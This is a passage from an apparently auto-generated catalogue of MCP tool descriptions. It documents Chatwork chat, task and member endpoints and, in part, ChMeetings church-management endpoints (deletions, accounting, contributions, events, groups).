自分へのコンタクト承認依頼一覧を最大100件まで取得します。 GET /api/v1/chatwork/incoming_requests. Scopes: api. chatwork_get_me (read) — Get your own account information. GET /v2/me. Returns the connected account's own profile: account id, Chatwork ID, display name, organization id and name, department, title, both email addresses, the three phone numbers, Skype/Facebook/Twitter handles and the avatar URL. Chatwork's own wording: 自分の情報を取得する 自分自身の情報を取得します。 GET /api/v1/chatwork/me. Scopes: api. chatwork_get_my_status (read) — Get your unread and open-task counts. GET /v2/my/status. Returns three counters for the connected account: rooms with unread messages, rooms with an unread message addressed to them, and open tasks assigned to them. Cheap enough to poll, and the endpoint the credential probe uses. Chatwork's own wording: 自分の状態を取得する 自分の未読数、自分宛ての未読の数、未完了タスク数を取得します。 GET /api/v1/chatwork/my/status. Scopes: api. chatwork_get_my_tasks (read) — List the tasks assigned to you. GET /v2/my/tasks. Returns up to 100 tasks assigned to the connected account across every chat, each with its body, due date, status and the chat it belongs to. Filterable by who assigned it and by open/done status. Chatwork's own wording: 自分のタスク一覧を取得する 自分のタスク一覧を最大100件まで取得します。 GET /api/v1/chatwork/my/tasks. Scopes: api. chatwork_get_rooms (read) — List your chats. GET /v2/rooms. Returns every chat the connected account belongs to -- group chats, direct chats and My Chat -- with each chat's type, the account's role in it, unread and mention counts, and file and task counts. Chatwork's own wording: チャット一覧を取得する チャット一覧を取得します。 GET /api/v1/chatwork/rooms. Scopes: api. chatwork_get_rooms_by_room_id (read) — Get a chat's information. GET /v2/rooms/{room_id}. Returns one chat's name, description, icon, type, the connected account's role in it, its unread and mention counts, and its file and task counts. Chatwork's own wording: チャットの情報を取得する チャットの情報(名前、アイコン、種類など)を取得します。 GET /api/v1/chatwork/rooms/{room_id}. Scopes: api. chatwork_get_rooms_by_room_id_files (read) — List a chat's files. GET /v2/rooms/{room_id}/files. Returns up to 100 files uploaded to one chat, each with its file id, uploader, name, size and the message it was posted with. Optionally filtered to one uploader. Chatwork's own wording: チャットのファイル一覧を取得する チャットのファイル一覧を最大100件まで取得します。 GET /api/v1/chatwork/rooms/{room_id}/files. Scopes: api. chatwork_get_rooms_by_room_id_files_by_file_id (read) — Get a chat file's information. GET /v2/rooms/{room_id}/files/{file_id}. Returns one file's name, size, uploader and message id. Pass `create_download_url=1` to also receive a download URL, which Chatwork says is valid for 30 seconds -- so fetch it at the moment you need it, not ahead of time. Chatwork's own wording: チャットのファイルの情報を取得する チャットのファイルの情報を取得します。 GET /api/v1/chatwork/rooms/{room_id}/files/{file_id}. Scopes: api. chatwork_get_rooms_by_room_id_link (read) — Get a chat's invite link. GET /v2/rooms/{room_id}/link. Returns the chat's invite link: its code, full URL, description, and whether joining needs an administrator's approval. Chatwork's own wording: チャットへの招待リンクを取得する チャットへの招待リンクを取得します。 GET /api/v1/chatwork/rooms/{room_id}/link. Scopes: api. chatwork_get_rooms_by_room_id_members (read) — List a chat's members. GET /v2/rooms/{room_id}/members. Returns every member of one chat with their account id, role (admin, member or readonly), organization and avatar. Chatwork's own wording: チャットのメンバー一覧を取得する チャットのメンバー一覧を取得します。 GET /api/v1/chatwork/rooms/{room_id}/members. Scopes: api. chatwork_get_rooms_by_room_id_messages (read) — List a chat's messages. GET /v2/rooms/{room_id}/messages. Returns up to 100 messages from one chat. By default only messages newer than the previous call are returned, and an empty result means nothing new rather than an empty chat; pass `force=1` for the latest 100 regardless. Chatwork's own wording: チャットのメッセージ一覧を取得する チャットのメッセージ一覧を最大100件まで取得します。 GET /api/v1/chatwork/rooms/{room_id}/messages. Scopes: api. chatwork_get_rooms_by_room_id_messages_by_message_id (read) — Get one message. GET /v2/rooms/{room_id}/messages/{message_id}. Returns a single message by id, with its author, body, send time and last-update time. Chatwork's own wording: チャットのメッセージを取得する チャットのメッセージを取得します。 GET /api/v1/chatwork/rooms/{room_id}/messages/{message_id}. Scopes: api. chatwork_get_rooms_by_room_id_tasks (read) — List a chat's tasks. GET /v2/rooms/{room_id}/tasks. Returns up to 100 tasks in one chat, each with its body, assignee, assigner, due date and status. Filterable by assignee, by who assigned it, and by open/done status. Chatwork's own wording: チャットのタスク一覧を取得する チャットのタスク一覧を最大100件まで取得します。 GET /api/v1/chatwork/rooms/{room_id}/tasks. Scopes: api. chatwork_get_rooms_by_room_id_tasks_by_task_id (read) — Get a chat task. GET /v2/rooms/{room_id}/tasks/{task_id}. Returns one task's body, assignee, assigner, due date, due-date kind and completion status. Chatwork's own wording: チャットのタスクの情報を取得する チャットのタスクの情報を取得します。 GET /api/v1/chatwork/rooms/{room_id}/tasks/{task_id}. Scopes: api. chatwork_post_rooms (write) — Create a group chat. POST /v2/rooms. Creates a new group chat and returns its room id. At least one administrator must be named in `members_admin_ids`, and every account named in any of the three member lists must already be a contact or in the same organization. Chatwork's own wording: グループチャットを作成する 新しいグループチャットを作成します。 POST /api/v1/chatwork/rooms. Scopes: api. chatwork_post_rooms_by_room_id_link (write) — Create a chat's invite link. POST /v2/rooms/{room_id}/link. Creates an invite link for the chat. Returns 400 if one already exists -- update it instead. Chatwork's own wording: チャットへの招待リンクを作成する チャットへの招待リンクを作成します。 すでに招待リンクが作成されている場合は400エラーを返します。 POST /api/v1/chatwork/rooms/{room_id}/link. Scopes: api. chatwork_post_rooms_by_room_id_messages (write) — Post a message to a chat. POST /v2/rooms/{room_id}/messages. Posts a new message and returns its message id. The body uses Chatwork's own message notation -- [To:], [rp aid=...], [info], [title], [code] -- which is documented at https://developer.chatwork.com/docs/message-notation. Rate-limited to 10 posts per 10 seconds per chat, shared with task creation. Chatwork's own wording: チャットにメッセージを投稿する チャットに新しいメッセージを投稿します。 POST /api/v1/chatwork/rooms/{room_id}/messages. Scopes: api. chatwork_post_rooms_by_room_id_tasks (write) — Add a task to a chat. POST /v2/rooms/{room_id}/tasks. Creates a task in one chat, assigns it to every account named in `to_ids`, and returns the created task ids -- one per assignee. Rate-limited to 10 creations per 10 seconds per chat, shared with message posting. Chatwork's own wording: チャットにタスクを追加する チャットに新しいタスクを追加します。 POST /api/v1/chatwork/rooms/{room_id}/tasks. Scopes: api. chatwork_put_incoming_requests_by_request_id (write) — Accept a contact approval request. PUT /v2/incoming_requests/{request_id}. Accepts one pending contact approval request; the requester becomes a contact and the response carries their profile. Chatwork's own wording: コンタクト承認依頼を承認する 自分へのコンタクト承認依頼を承認します。 PUT /api/v1/chatwork/incoming_requests/{request_id}. Scopes: api. chatwork_put_rooms_by_room_id (write) — Update a chat's information. PUT /v2/rooms/{room_id}. Changes a chat's name, description or icon. Only the fields sent are changed. Chatwork's own wording: チャットの情報を変更する チャットの情報(名前、アイコンなど)を変更します。 PUT /api/v1/chatwork/rooms/{room_id}. Scopes: api. chatwork_put_rooms_by_room_id_link (write) — Update a chat's invite link. PUT /v2/rooms/{room_id}/link. Changes an existing invite link's code, description or approval requirement. Returns 400 if the chat has no active invite link -- create one first. Chatwork's own wording: チャットへの招待リンクを変更する チャットへの招待リンクを変更します。 招待リンクが無効になっている場合は400エラーを返します。 PUT /api/v1/chatwork/rooms/{room_id}/link. Scopes: api. chatwork_put_rooms_by_room_id_members (write) — Replace a chat's members. PUT /v2/rooms/{room_id}/members. Replaces the whole member list of one chat in a single call. This is not an add: an account missing from all three id lists is REMOVED from the chat, so send the full intended membership every time. Chatwork's own wording: チャットのメンバーを変更する チャットのメンバーを一括で変更します。 PUT /api/v1/chatwork/rooms/{room_id}/members. Scopes: api. chatwork_put_rooms_by_room_id_messages_by_message_id (write) — Update a message. PUT /v2/rooms/{room_id}/messages/{message_id}. Replaces the body of a message the connected account sent. Chatwork refuses another account's message. Chatwork's own wording: チャットのメッセージを更新する チャットのメッセージを更新します。 PUT /api/v1/chatwork/rooms/{room_id}/messages/{message_id}. Scopes: api. chatwork_put_rooms_by_room_id_messages_read (write) — Mark a chat's messages as read. PUT /v2/rooms/{room_id}/messages/read. Marks messages up to and including `message_id` as read and returns the chat's remaining unread counters. Omitting `message_id` marks the whole chat read. Chatwork's own wording: チャットのメッセージを既読にする チャットのメッセージを既読にします。 PUT /api/v1/chatwork/rooms/{room_id}/messages/read. Scopes: api. chatwork_put_rooms_by_room_id_messages_unread (write) — Mark a chat's messages as unread. PUT /v2/rooms/{room_id}/messages/unread. Marks the chat unread from `message_id` onwards and returns the resulting unread counters. `message_id` is required here, unlike the read call. Chatwork's own wording: チャットのメッセージを未読にする チャットのメッセージを未読にします。 PUT /api/v1/chatwork/rooms/{room_id}/messages/unread. Scopes: api. chatwork_put_rooms_by_room_id_tasks_by_task_id_status (write) — Change a task's completion status. PUT /v2/rooms/{room_id}/tasks/{task_id}/status. Marks one task open or done and returns its task id. Chatwork's own wording: チャットのタスクの完了状態を変更する チャットのタスクの完了状態を変更します。 PUT /api/v1/chatwork/rooms/{room_id}/tasks/{task_id}/status. Scopes: api. ================================================================================ ## ChMeetings URL: https://www.agenticfabriq.com/integrations/chmeetings Section: Integrated Tools ChMeetings — 143 MCP tools Provider key: chmeetings. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. chmeetings_delete_api_v1_contributions_batches_by_id (write, destructive) — Delete a batch if no contributions are associated via DELETE /api/v1/contributions/batches/{id} DELETE /api/v1/chmeetings/api/v1/contributions/batches/{id}. Scopes: api. chmeetings_delete_api_v1_contributions_by_id (write, destructive) — Delete a contribution by ID. via DELETE /api/v1/contributions/{id} DELETE /api/v1/chmeetings/api/v1/contributions/{id}. Scopes: api. chmeetings_delete_api_v1_contributions_funds_by_id (write, destructive) — Delete a contribution fund and move all its contributions to another fund. The move_to_fund_id must be provided to specify where to move existing contributions in case of deleted fund has contributions. via DELETE /api/v1/contributions/funds/{id} DELETE /api/v1/chmeetings/api/v1/contributions/funds/{id}. Scopes: api. chmeetings_delete_api_v1_contributions_payment_methods_by_id (write, destructive) — Delete a custom payment method and move all its contributions to another payment method. System payment methods cannot be deleted. The move_to_payment_method_id must be provided to specify where to move existing contributions in case of deleted payment method has contributions. via DELETE /api/v1/contributions/payment-methods/{id} DELETE /api/v1/chmeetings/api/v1/contributions/payment-methods/{id}. Scopes: api. chmeetings_delete_api_v1_families_by_id (write, destructive) — Delete a family and remove family relationships from all members via DELETE /api/v1/families/{id} DELETE /api/v1/chmeetings/api/v1/families/{id}. Scopes: api. chmeetings_delete_api_v1_families_by_id_members_by_person_id (write, destructive) — Remove a member from a family (family must retain at least 2 members) via DELETE /api/v1/families/{id}/members/{person_id} DELETE /api/v1/chmeetings/api/v1/families/{id}/members/{person_id}. Scopes: api. chmeetings_delete_api_v1_groups_by_group_id (write, destructive) — Deletes a group and removes all of its memberships and group-leader assignments. Returns 404 when the group does not exist, and 400 when the group is still assigned to one or more upcoming events — remove it from those events first. via DELETE /api/v1/groups/{group_id} DELETE /api/v1/chmeetings/api/v1/groups/{group_id}. Scopes: api. chmeetings_delete_api_v1_groups_by_group_id_memberships_by_person_id (write, destructive) — Removes a person from a group. Returns 200 if removed, 404 if not found. via DELETE /api/v1/groups/{group_id}/memberships/{person_id} DELETE /api/v1/chmeetings/api/v1/groups/{group_id}/memberships/{person_id}. Scopes: api. chmeetings_delete_api_v1_integrations_webhooks_by_id (write, destructive) — Only subscriptions the church owns can be deleted. One managed by Zapier answers `403` - turn it off in that platform instead, which tears the subscription down through its own unsubscribe. via DELETE /api/v1/integrations/webhooks/{id} DELETE /api/v1/chmeetings/api/v1/integrations/webhooks/{id}. Scopes: api. chmeetings_delete_api_v1_occurrences_by_occurrence_id_check_ins_by_person_id (write, destructive) — - Cancels a check-in (removes the attendance record, including its check-out if any). - Returns 404 when the person has no active check-in on this occurrence; offline clients replaying a queue should treat 404 as already done. via DELETE /api/v1/occurrences/{occurrence_id}/check-ins/{person_id} DELETE /api/v1/chmeetings/api/v1/occurrences/{occurrence_id}/check-ins/{person_id}. Scopes: api. chmeetings_delete_api_v1_occurrences_by_occurrence_id_check_outs_by_person_id (write, destructive) — - Cancels a check-out (clears checked_out_at; the person remains checked in). - Returns 404 when the person is not checked out of this occurrence; offline clients replaying a queue should treat 404 as already done. via DELETE /api/v1/occurrences/{occurrence_id}/check-outs/{person_id} DELETE /api/v1/chmeetings/api/v1/occurrences/{occurrence_id}/check-outs/{person_id}. Scopes: api. chmeetings_delete_api_v1_organizations_by_organization_id_groups_by_group_id (write, destructive) — Deletes a group within an organization and removes all of its memberships and group-leader assignments. Returns 404 when the group does not exist in that organization, and 400 when the group is still assigned to one or more upcoming events — remove it from those events first. via DELETE /api/v1/organizations/{organization_id}/groups/{group_id} DELETE /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups/{group_id}. Scopes: api. chmeetings_delete_api_v1_organizations_by_organization_id_groups_by_group_id_memberships_by_person_id (write, destructive) — Removes a person from a group within an organization. Returns 200 if removed, 404 if not found. via DELETE /api/v1/organizations/{organization_id}/groups/{group_id}/memberships/{person_id} DELETE /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups/{group_id}/memberships/{person_id}. Scopes: api. chmeetings_delete_api_v1_organizations_by_organization_id_occurrences_by_occurrence_id_check_ins_by_person_id (write, destructive) — - Cancels a check-in (removes the attendance record, including its check-out if any). - Returns 404 when the person has no active check-in on this occurrence; offline clients replaying a queue should treat 404 as already done. via DELETE /api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-ins/{person_id} DELETE /api/v1/chmeetings/api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-ins/{person_id}. Scopes: api. chmeetings_delete_api_v1_organizations_by_organization_id_occurrences_by_occurrence_id_check_outs_by_person_id (write, destructive) — - Cancels a check-out (clears checked_out_at; the person remains checked in). - Returns 404 when the person is not checked out of this occurrence; offline clients replaying a queue should treat 404 as already done. via DELETE /api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-outs/{person_id} DELETE /api/v1/chmeetings/api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-outs/{person_id}. Scopes: api. chmeetings_delete_api_v1_organizations_by_organization_id_people_by_person_id (write, destructive) — Removes a person from an organization. The person stays in the account — to delete them entirely, use `DELETE /api/v1/people/{person_id}`. Removing someone from the account itself returns 400. Removing them from their main church is allowed. Repeating the call on a person who is no longer a member returns 404; retry logic can treat that as success. An organization outside the API key's tree returns 400, not 404. via DELETE /api/v1/organizations/{organization_id}/people/{person_id} DELETE /api/v1/chmeetings/api/v1/organizations/{organization_id}/people/{person_id}. Scopes: api. chmeetings_delete_api_v1_organizations_by_organization_id_posts_by_post_id (write, destructive) — Delete organization post by its Id via DELETE /api/v1/organizations/{organization_id}/posts/{post_id} DELETE /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts/{post_id}. Scopes: api. chmeetings_delete_api_v1_organizations_by_organization_id_posts_by_post_id_image (write, destructive) — Removes the post's image. Returns 404 when the post has no image. via DELETE /api/v1/organizations/{organization_id}/posts/{post_id}/image DELETE /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts/{post_id}/image. Scopes: api. chmeetings_delete_api_v1_people_by_id (write, destructive) — Delete person by Id via DELETE /api/v1/people/{id} DELETE /api/v1/chmeetings/api/v1/people/{id}. Scopes: api. chmeetings_delete_api_v1_people_by_person_id_notes_by_note_id (write, destructive) — Delete a member note. via DELETE /api/v1/people/{person_id}/notes/{note_id} DELETE /api/v1/chmeetings/api/v1/people/{person_id}/notes/{note_id}. Scopes: api. chmeetings_delete_api_v1_posts_by_id (write, destructive) — Delete a post by its Id via DELETE /api/v1/posts/{id} DELETE /api/v1/chmeetings/api/v1/posts/{id}. Scopes: api. chmeetings_delete_api_v1_posts_by_post_id_image (write, destructive) — Removes the post's image. Returns 404 when the post has no image. via DELETE /api/v1/posts/{post_id}/image DELETE /api/v1/chmeetings/api/v1/posts/{post_id}/image. Scopes: api. chmeetings_get_api_v1_accounting_accounts (read) — Get the ledger's accounts (bank registers) with paging, ordered by display order then name. - Account types are `asset` and `liability`; income/expense classification lives on categories, not accounts. - Available filters: `type`, `include_archived` (default false). - `include=balance` adds each account's current running balance (income minus expenses across all non-voided transactions, beginning balances included). via GET /api/v1/accounting/accounts GET /api/v1/chmeetings/api/v1/accounting/accounts. Scopes: api. chmeetings_get_api_v1_accounting_accounts_by_account_id (read) — Gets a single ledger account by its ID. Returns 404 when the account does not exist. `include=balance` adds the account's current running balance (voided transactions excluded). via GET /api/v1/accounting/accounts/{account_id} GET /api/v1/chmeetings/api/v1/accounting/accounts/{account_id}. Scopes: api. chmeetings_get_api_v1_accounting_categories (read) — Get the income/expense categories with paging, ordered by type then name. - Categories are a flat list; rebuild the hierarchy with `parent_category_id` (at most two levels). - Available filters: `type` (income|expense), `include_archived` (default false), `search` (name contains). via GET /api/v1/accounting/categories GET /api/v1/chmeetings/api/v1/accounting/categories. Scopes: api. chmeetings_get_api_v1_accounting_categories_by_category_id (read) — Gets a single income/expense category by its ID. Returns 404 when the category does not exist. via GET /api/v1/accounting/categories/{category_id} GET /api/v1/chmeetings/api/v1/accounting/categories/{category_id}. Scopes: api. chmeetings_get_api_v1_accounting_funds (read) — Get the ledger's funds (cost centers, e.g. General Fund, Missions) with paging, ordered by name. These are GL funds, not the giving funds under /contributions/funds. - Available filters: `include_archived` (default false). - `include=balance` adds each fund's net balance across all accounts (voided transactions excluded). via GET /api/v1/accounting/funds GET /api/v1/chmeetings/api/v1/accounting/funds. Scopes: api. chmeetings_get_api_v1_accounting_funds_by_fund_id (read) — Gets a single GL fund by its ID. Returns 404 when the fund does not exist. `include=balance` adds the fund's net balance across all accounts. via GET /api/v1/accounting/funds/{fund_id} GET /api/v1/chmeetings/api/v1/accounting/funds/{fund_id}. Scopes: api. chmeetings_get_api_v1_accounting_payees (read) — Get the payee (vendor) master list with paging, ordered by name. - Available filters: `search` (name contains), `is_1099_eligible`. - Tax IDs are never exposed through the API. via GET /api/v1/accounting/payees GET /api/v1/chmeetings/api/v1/accounting/payees. Scopes: api. chmeetings_get_api_v1_accounting_payees_by_payee_id (read) — Gets a single payee by its ID. Returns 404 when the payee does not exist. via GET /api/v1/accounting/payees/{payee_id} GET /api/v1/chmeetings/api/v1/accounting/payees/{payee_id}. Scopes: api. chmeetings_get_api_v1_accounting_transactions (read) — Get ledger transactions with their split lines, paged, newest first (date, then ID descending). - Amounts are positive; the direction comes from `type` (signed value = income ? +amount : -amount). The one exception is fund transfers, whose source-fund line is negative (header amount 0). - An account-to-account transfer is recorded as two transactions, income on the receiving account and expense on the sending one; a fund transfer is one transaction with `is_fund_transfer: true` and offsetting lines. Transfer lines carry no category. - Voided transactions are hidden by default (`include_voided`); beginning-balance rows are included by default (`include_beginning_balances`) and flagged per row. - Filter by register, dates, type, categories, funds, payee, check number, text, and amount range. - This list doubles as the category/fund/payee ledger drill-down via `category_ids`/`fund_ids`/`payee_id`. via GET /api/v1/accounting/transactions GET /api/v1/chmeetings/api/v1/accounting/transactions. Scopes: api. chmeetings_get_api_v1_accounting_transactions_by_transaction_id (read) — Gets a single ledger transaction by its ID, including its split lines. Returns 404 when the transaction does not exist. Voided and beginning-balance rows are returned. via GET /api/v1/accounting/transactions/{transaction_id} GET /api/v1/chmeetings/api/v1/accounting/transactions/{transaction_id}. Scopes: api. chmeetings_get_api_v1_address_cities (read) — Retrieves a paged list of cities for a specified state, allowing for optional search text to filter results. via GET /api/v1/address/cities GET /api/v1/chmeetings/api/v1/address/cities. Scopes: api. chmeetings_get_api_v1_address_countries (read) — Retrieves a paged list of countries, allowing for optional search text to filter results. via GET /api/v1/address/countries GET /api/v1/chmeetings/api/v1/address/countries. Scopes: api. chmeetings_get_api_v1_address_states (read) — Retrieves a paged list of states for a specified country, allowing for optional search text to filter results. via GET /api/v1/address/states GET /api/v1/chmeetings/api/v1/address/states. Scopes: api. chmeetings_get_api_v1_campaigns (read) — Get all campaigns with paging via GET /api/v1/campaigns GET /api/v1/chmeetings/api/v1/campaigns. Scopes: api. chmeetings_get_api_v1_campaigns_by_id_pledges (read) — Get all pledges for a campaign with paging via GET /api/v1/campaigns/{id}/pledges GET /api/v1/chmeetings/api/v1/campaigns/{id}/pledges. Scopes: api. chmeetings_get_api_v1_contributions (read) — - Get all contributions with paging and filtering options. - Available filters: person_id, start_date, end_date, reference_id, batch_id. - Filters are combined with AND; omit a filter to leave it unapplied. - Supports pagination via page and page_size. via GET /api/v1/contributions GET /api/v1/chmeetings/api/v1/contributions. Scopes: api. chmeetings_get_api_v1_contributions_batches (read) — Get all contribution batches with paging via GET /api/v1/contributions/batches GET /api/v1/chmeetings/api/v1/contributions/batches. Scopes: api. chmeetings_get_api_v1_contributions_batches_by_id (read) — Get a batch by Id via GET /api/v1/contributions/batches/{id} GET /api/v1/chmeetings/api/v1/contributions/batches/{id}. Scopes: api. chmeetings_get_api_v1_contributions_funds (read) — - Get all contribution funds with paging and filtering options. - Available filters: search_text, is_tax_deductible. - Supports pagination via page and page_size. via GET /api/v1/contributions/funds GET /api/v1/chmeetings/api/v1/contributions/funds. Scopes: api. chmeetings_get_api_v1_contributions_funds_by_id (read) — Get detailed information about a specific contribution fund by its ID via GET /api/v1/contributions/funds/{id} GET /api/v1/chmeetings/api/v1/contributions/funds/{id}. Scopes: api. chmeetings_get_api_v1_contributions_members_no_envelopes (read) — Get all members without envelopes with paging and filtering options via GET /api/v1/contributions/members/no-envelopes GET /api/v1/chmeetings/api/v1/contributions/members/no-envelopes. Scopes: api. chmeetings_get_api_v1_contributions_payment_methods (read) — - Get all payment methods with paging and filtering options. - Available filters: search_text. - Supports pagination via page and page_size. via GET /api/v1/contributions/payment-methods GET /api/v1/chmeetings/api/v1/contributions/payment-methods. Scopes: api. chmeetings_get_api_v1_contributions_payment_methods_by_id (read) — Get detailed information about a specific payment method by its ID via GET /api/v1/contributions/payment-methods/{id} GET /api/v1/chmeetings/api/v1/contributions/payment-methods/{id}. Scopes: api. chmeetings_get_api_v1_events (read) — Get events within a date range with pagination. Each event includes a `visibility` value ("internal", "members", or "public") and an `image_url` (CDN URL of the event image, or null when no image is set). via GET /api/v1/events GET /api/v1/chmeetings/api/v1/events. Scopes: api. chmeetings_get_api_v1_events_by_event_id (read) — Returns a single event by its unique identifier. Response includes `visibility` ("internal", "members", or "public") and `image_url` (CDN URL of the event image, or null when no image is set). via GET /api/v1/events/{event_id} GET /api/v1/chmeetings/api/v1/events/{event_id}. Scopes: api. chmeetings_get_api_v1_events_by_event_id_occurrences (read) — Returns both materialized and virtual (computed) occurrences for a given event. Each occurrence includes an `image_url` (CDN URL of the occurrence image, or null when no image is set). For materialized occurrences the schedule's own image is used when set; otherwise the parent event's image is returned. For virtual occurrences the parent event's image is always returned. via GET /api/v1/events/{event_id}/occurrences GET /api/v1/chmeetings/api/v1/events/{event_id}/occurrences. Scopes: api. chmeetings_get_api_v1_events_by_event_id_statistics (read) — Returns a per-occurrence attendance summary plus a period rollup for every materialized occurrence of the event with Day within [from, to]. Pass include=groups to add a per-group breakdown inside each occurrence. via GET /api/v1/events/{event_id}/statistics GET /api/v1/chmeetings/api/v1/events/{event_id}/statistics. Scopes: api. chmeetings_get_api_v1_families (read) — Get all families with optional search and paging via GET /api/v1/families GET /api/v1/chmeetings/api/v1/families. Scopes: api. chmeetings_get_api_v1_families_by_id (read) — Get a specific family by ID via GET /api/v1/families/{id} GET /api/v1/chmeetings/api/v1/families/{id}. Scopes: api. chmeetings_get_api_v1_families_family_roles (read) — Get family roles via GET /api/v1/families/family-roles GET /api/v1/chmeetings/api/v1/families/family-roles. Scopes: api. chmeetings_get_api_v1_follow_ups (read) — Get follow-ups (pastoral follow-up tasks) with paging and filtering options. - A follow-up is a task to follow up with a specific person, optionally assigned to one or more people (`assignees`) and categorized by a follow-up action. - Filters are combined with AND; omit a filter to leave it unapplied. An unknown `person_id`/`assignee_id`/`action_id` yields an empty page, not an error. - Results are sorted by scheduled date descending. - All dates and times are church-local wall-clock: `date` is the scheduled date, `completed_on` is when the follow-up was marked done, `created_on`/`updated_on` are record audit stamps. via GET /api/v1/follow-ups GET /api/v1/chmeetings/api/v1/follow-ups. Scopes: api. chmeetings_get_api_v1_follow_ups_actions (read) — Get the follow-up actions (categories such as "First Visit") available to this organization, sorted by name, unpaged. via GET /api/v1/follow-ups/actions GET /api/v1/chmeetings/api/v1/follow-ups/actions. Scopes: api. chmeetings_get_api_v1_follow_ups_by_follow_up_id (read) — Returns a single follow-up by its unique identifier. All dates and times are church-local wall-clock: `date` is the scheduled date, `completed_on` is when the follow-up was marked done. via GET /api/v1/follow-ups/{follow_up_id} GET /api/v1/chmeetings/api/v1/follow-ups/{follow_up_id}. Scopes: api. chmeetings_get_api_v1_groups (read) — Get all groups, ordered by name. Optionally filter by name with `search_text`. Omitting it returns every group - this response is not paged. via GET /api/v1/groups GET /api/v1/chmeetings/api/v1/groups. Scopes: api. chmeetings_get_api_v1_groups_by_group_id (read) — Gets a single group by its id. Returns 404 when the group does not exist. via GET /api/v1/groups/{group_id} GET /api/v1/chmeetings/api/v1/groups/{group_id}. Scopes: api. chmeetings_get_api_v1_groups_people (read) — Get all people in groups with filtering options. - group_ids parameter can accept a single group ID or multiple group IDs separated by commas (e.g., "123" or "123,456,789"). via GET /api/v1/groups/people GET /api/v1/chmeetings/api/v1/groups/people. Scopes: api. chmeetings_get_api_v1_integrations_webhooks (read) — Returns every webhook subscription for the church, including those created by Zapier. The `app` field says which integration owns each one; `secret` is returned only for subscriptions the church owns (`app` = `custom`). via GET /api/v1/integrations/webhooks GET /api/v1/chmeetings/api/v1/integrations/webhooks. Scopes: api. chmeetings_get_api_v1_integrations_webhooks_by_id (read) — Get a webhook subscription by ID via GET /api/v1/integrations/webhooks/{id} GET /api/v1/chmeetings/api/v1/integrations/webhooks/{id}. Scopes: api. chmeetings_get_api_v1_integrations_webhooks_events (read) — Every event a subscription can listen for. Send `event_name` in the `event_names` of a create or update; it is also the value delivered as `event_name` on the payload. `category` is the domain the event belongs to - People, Contributions, Contribution Funds or Attendance. via GET /api/v1/integrations/webhooks/events GET /api/v1/chmeetings/api/v1/integrations/webhooks/events. Scopes: api. chmeetings_get_api_v1_occurrences_by_occurrence_id (read) — Resolves a materialized (numeric ID) or virtual occurrence. via GET /api/v1/occurrences/{occurrence_id} GET /api/v1/chmeetings/api/v1/occurrences/{occurrence_id}. Scopes: api. chmeetings_get_api_v1_occurrences_by_occurrence_id_attendance (read) — Returns the full attendance list for occurrence, with optional status filter and pagination. via GET /api/v1/occurrences/{occurrence_id}/attendance GET /api/v1/chmeetings/api/v1/occurrences/{occurrence_id}/attendance. Scopes: api. chmeetings_get_api_v1_occurrences_by_occurrence_id_attendance_summary (read) — Returns attendance statistics for occurrence. via GET /api/v1/occurrences/{occurrence_id}/attendance/summary GET /api/v1/chmeetings/api/v1/occurrences/{occurrence_id}/attendance/summary. Scopes: api. chmeetings_get_api_v1_organizations (read) — Returns a paginated list of organizations accessible by the current API key. Scope depends on subscription: - Diocese: Diocese, Churches, Ministries. - Church: Church and its Ministries. Ordered by hierarchy, then by name. via GET /api/v1/organizations GET /api/v1/chmeetings/api/v1/organizations. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id (read) — Retrieves the details of a specific organization by its ID. via GET /api/v1/organizations/{organization_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_accounts (read) — Get the ledger's accounts (bank registers) of an organization with paging. Same filters as the non-organization endpoint, scoped to the requested organization. via GET /api/v1/organizations/{organization_id}/accounting/accounts GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/accounts. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_accounts_by_account_id (read) — Gets a single ledger account by its ID within an organization. Returns 404 when the account does not exist in that organization. via GET /api/v1/organizations/{organization_id}/accounting/accounts/{account_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/accounts/{account_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_categories (read) — Get the income/expense categories of an organization with paging. Same filters as the non-organization endpoint, scoped to the requested organization. via GET /api/v1/organizations/{organization_id}/accounting/categories GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/categories. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_categories_by_category_id (read) — Gets a single income/expense category by its ID within an organization. Returns 404 when the category does not exist in that organization. via GET /api/v1/organizations/{organization_id}/accounting/categories/{category_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/categories/{category_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_funds (read) — Get the GL funds of an organization with paging. Same filters as the non-organization endpoint, scoped to the requested organization. via GET /api/v1/organizations/{organization_id}/accounting/funds GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/funds. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_funds_by_fund_id (read) — Gets a single GL fund by its ID within an organization. Returns 404 when the fund does not exist in that organization. via GET /api/v1/organizations/{organization_id}/accounting/funds/{fund_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/funds/{fund_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_payees (read) — Get the payee (vendor) master list of an organization with paging. Same filters as the non-organization endpoint, scoped to the requested organization. via GET /api/v1/organizations/{organization_id}/accounting/payees GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/payees. Scopes: api. 